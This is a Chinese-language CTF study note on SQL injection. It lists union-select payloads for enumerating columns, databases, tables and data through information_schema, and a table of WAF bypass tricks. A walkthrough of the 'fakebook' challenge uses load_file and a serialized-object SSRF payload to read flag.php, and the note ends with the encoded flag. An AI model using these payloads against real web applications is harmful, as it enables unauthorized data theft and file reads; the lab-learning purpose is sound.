0%

CTF数据库注入

SQL注入

通过注入可以查到数据库所有内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
--+ 的目的是注释后面代码,‘+’在url中表示空白符

--爆破列数
--ORDER BY 1 是按第一列排序,如果正常,说明至少有 1 列
1 order by N;
--或者使用union select 联合查询 将select查询到的结果一同返回
select 1,2,3,4... --列数要与之前相同,同时可以找到页面回显的位置

-- 假如列数为4且回显位置为2
--得到数据库名
union select 1,database(),3,4; --+

--MySQL 中有一个系统数据库叫 information_schema,里面记录了所有表的信息。我们用 group_concat() 把多个表名拼成一行
union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() --+

--同理可以查询到表里面的列假设表名为 mytable
union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='mytable' --+

--查询列信息 data
union select 1,group_concat(data),3,4 from 'mytable' (limit 0,1(逐条查看))--+

后端通常有简单的过滤规则(WAF)。

被过滤字符 绕过方式 原理
空格 /**/ 在 SQL 中,注释符可作为空白分隔符
空格 %0a, %a0 使用换行符或不换行空格的编码
单引号 0x (Hex) 将字符串转为十六进制,如 'flag'0x666c6167
关键字 双写/大小写 UNunionIONuNiOn (视环境而定)

盲注(无回显)借助脚本爆破

攻防世界fakebook
常规爆破得到字段数为 4 数据库名为fakebook 有一个表名为users 有四列分别为 no username passwd data 读取 data 得到序列化字符串 ~O:8:”UserInfo”:3:{s:4:”name”;s:3:”123”;s:3:”age”;i:12;s:4:”blog”;s:14:”http://test.com";},

通过目录扫描找到关键几个目录

方法一:
load_file("/var/www/html/flag.php") 读取文件
方法二:
通过修改blog值达到ssrf的作用
尝试

1
union select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'--+
修改后访问找到读取到的base64加密flag

<iframe width='100%' height='10em' src='data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3tjMWU1NTJmZGY3NzA0OWZhYmY2NTE2OGYyMmY3YWVhYn0iOw0KZXhpdCgwKTsNCg=='>

-------------到底咯QAQ嘎嘎-------------